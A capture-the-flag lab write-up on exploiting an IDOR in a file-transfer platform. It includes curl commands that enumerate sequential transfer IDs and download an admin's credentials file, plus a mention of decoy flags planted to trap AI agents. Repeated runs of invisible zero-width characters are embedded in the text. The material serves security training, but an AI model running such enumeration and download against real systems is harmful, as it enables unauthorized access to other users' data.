Lab 100 — BridgeOps — IDOR in File Transfer Jobs

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-30 | Status: Solved Techniques: broken_access_control, file_download_authorization_bypass, honeypot_detection, idor_exploitation, sequential_id_enumeration

Summary

Task: server management platform with file transfer tracking using sequential numeric job IDs. Solution: enumerate /transfers/{id} endpoint to access other users' transfers via IDOR, then download admin's sensitive credential file containing the flag.

Lab 100 — BridgeOps — IDOR in File Transfer Jobs — HackAdvisor

Description

BridgeOps is a centralized server management platform used by DevOps teams at CloudBridge Solutions to securely access remote servers and transfer files across their infrastructure. The platform features file transfer tracking, user management, server inventory, and comprehensive audit logging.

You have been given credentials for a standard operator account on the platform. Your team uses BridgeOps daily to deploy scripts, push configuration files, and manage infrastructure.

Recently, there have been concerns about data segregation between team members. Your objective is to investigate whether the file transfer system properly enforces access controls, and find any sensitive data that should not be accessible to regular operators.

Credentials: user@test.com / password123

Hint: Take a look at your file transfer jobs on the Transfers page. Notice anything about the job ID numbers assigned to your transfers? ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Flask-based server management platform with file transfer tracking. Users have sequential job IDs. The goal is to exploit broken access controls to access other users' file transfers and find sensitive data.

Analysis

1. Initial reconnaissance:

   • Logged in with user@test.com / password123 at /login
   • Authenticated as Alex Rivera with role operator
   • Flask-based web app with sidebar navigation: Dashboard, Servers, File Transfers, Team Members, Audit Log, Settings
   • Important: The app injects decoy/honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) as hidden HTML comments and invisible <div> elements on every page — designed to trick automated scanners and AI agents ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

2. Identifying the IDOR vector:

   • Navigated to /transfers — shows "Showing 3 transfers for your account"
   • Our transfers have Job IDs: #15, #16, #19 — sequential but with gaps
   • The dashboard's "Recent File Transfers" table leaks other users' transfer IDs (e.g., #17 by marcus.johnson, #18 by priya.patel)
   • Each transfer has a "View" link pointing to /transfers/{id} — classic IDOR candidate

3. Key vulnerability: The /transfers/{id} endpoint and /api/transfers/{id}/files/{file_id}/download endpoint perform authentication (is user logged in?) but NOT authorization (does user own this transfer?). Combined with sequential numeric IDs, this allows enumeration of all transfers and downloading any file. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Login and get session cookie

 bash read-only • copy allowed Copy
curl -s -c cookies.txt -X POST "$TARGET/login" \
  -d "username=user@test.com&password=password123"

Step 2: Enumerate all transfers via IDOR

Accessed /transfers/1 through /transfers/19 by changing the ID in the URL:

 bash read-only • copy allowed Copy
for i in $(seq 1 19); do
  echo "=== Transfer #$i ==="
  curl -s -b cookies.txt "$TARGET/transfers/$i" | grep -o 'Job #[0-9]*\|Initiated by:.*'
done

No authorization check — the server returns full details for ANY transfer regardless of ownership. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

All 19 transfers belong to 4 different users:

• Sarah Chen (sarah.chen): #1, #2, #9, #10
• Marcus Johnson (marcus.johnson): #3, #11, #17
• David Kowalski (admin): #4, #5, #7, #8, #12, #13
• Priya Patel (priya.patel): #6, #14, #18
• Alex Rivera (operator — us): #15, #16, #19

Step 3: Identify sensitive transfer

Transfer #7 by admin David Kowalski stood out:

• Description: "Production infrastructure credentials export"
• Destination: prod-core-01 (192.168.1.100)
• Contains two files with download links:
  • prod-infra-credentials.conf (2.8 KB) → /api/transfers/7/files/11/download
  • server-inventory.json (2.4 KB) → /api/transfers/7/files/12/download ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Download the flag

 bash read-only • copy allowed Copy
curl -s -b cookies.txt "$TARGET/api/transfers/7/files/11/download"

The file download API also has no access control. Downloaded prod-infra-credentials.conf which contained production credentials and the flag:

 ini read-only • copy allowed Copy
[platform]
master_api_key   = FLAG{REDACTED}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍